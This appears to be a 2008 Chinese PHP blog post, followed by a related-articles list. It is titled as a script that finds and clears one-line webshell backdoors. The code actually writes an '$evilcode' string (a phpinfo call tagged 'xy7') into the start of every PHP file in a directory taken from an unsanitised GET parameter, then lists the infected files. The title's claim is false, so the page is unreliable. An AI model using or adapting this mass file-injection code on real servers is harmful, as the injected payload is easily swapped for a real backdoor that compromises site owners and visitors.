用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
PHP+MYSQL 出现乱码的解决方法
Aug 08 PHP
PHP 网页过期时间的控制代码
Jun 29 PHP
php disk_free_space 返回目录可用空间
May 10 PHP
PHP中如何实现常用邮箱的基本判断
Jan 07 PHP
Thinkphp模板标签if和eq的区别和比较实例分析
Jul 01 PHP
PHP编程中的__clone()方法使用详解
Nov 27 PHP
深入浅析用PHP实现MVC
Mar 02 PHP
php+mysql+jquery实现简易的检索自动补全提示功能
Apr 15 PHP
Yii2使用表单上传文件的实例代码
Aug 03 PHP
PHP基于堆栈实现的高级计算器功能示例
Sep 15 PHP
PHP实现 APP端微信支付功能
Jun 22 PHP
php png失真的原因及解决办法
Nov 17 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
php+ajax实现图片文件上传功能实例
2014/06/17 PHP
完美实现wordpress禁止文章修订和自动保存的方法
2014/11/03 PHP
ecshop适应在PHP7的修改方法解决报错的实现
2016/11/01 PHP
php 时间time与日期date之间的使用详解及区别
2016/11/07 PHP
PHP单例模式模拟Java Bean实现方法示例
2018/12/07 PHP
PHP保存Base64图片base64_decode的问题整理
2019/11/04 PHP
jQuery一步一步实现跨浏览器的可编辑表格,支持IE、Firefox、Safari、Chrome、Opera
2009/08/28 Javascript
Javascript 判断Flash是否加载完成的代码
2010/04/12 Javascript
jQuery ajax 路由和过滤器使用说明
2011/08/02 Javascript
jquery 操作DOM的基本用法分享
2012/04/05 Javascript
jQuery Trim去除字符串首尾空字符的实现方法说明
2014/02/11 Javascript
两个多选select(multiple左右)添加、删除选项和取值实例
2014/05/12 Javascript
一波JavaScript日期判断脚本分享
2016/03/06 Javascript
浅谈Sticky组件的改进实现
2016/03/22 Javascript
JavaScript知识点总结(六)之JavaScript判断变量数据类型
2016/05/31 Javascript
深入理解js中的加载事件
2017/02/08 Javascript
js使用i18n实现页面国际化的方法
2017/05/09 Javascript
layui 点击重置按钮, select 并没有被重置的解决方法
2019/09/03 Javascript
使用Python开发windows GUI程序入门实例
2014/10/23 Python
使用Python编写一个简单的tic-tac-toe游戏的教程
2015/04/16 Python
pandas中Timestamp类用法详解
2017/12/11 Python
python使用xslt提取网页数据的方法
2018/02/23 Python
Python 使用多属性来进行排序
2019/09/01 Python
Python3 操作 MySQL 插入一条数据并返回主键 id的实例
2020/03/02 Python
python爬虫开发之selenium模块详细使用方法与实例全解
2020/03/09 Python
python图片验证码识别最新模块muggle_ocr的示例代码
2020/07/03 Python
Python如何对齐字符串
2020/07/30 Python
加拿大领先的牛仔零售商:Bluenotes
2018/01/22 全球购物
Gerry Weber德国官网:优质女性时装,德国最大的时装公司之一
2019/11/02 全球购物
四年大学自我鉴定
2014/02/17 职场文书
材料专业毕业生求职信
2014/02/26 职场文书
大学生学习2014年全国两会心得体会
2014/03/12 职场文书
加班费申请报告
2015/05/15 职场文书
新娘婚礼答谢词
2015/09/29 职场文书
受欢迎的自荐信,就这么写!
2019/04/19 职场文书
索尼ICF-5900W收音机测评
2022/04/24 无线电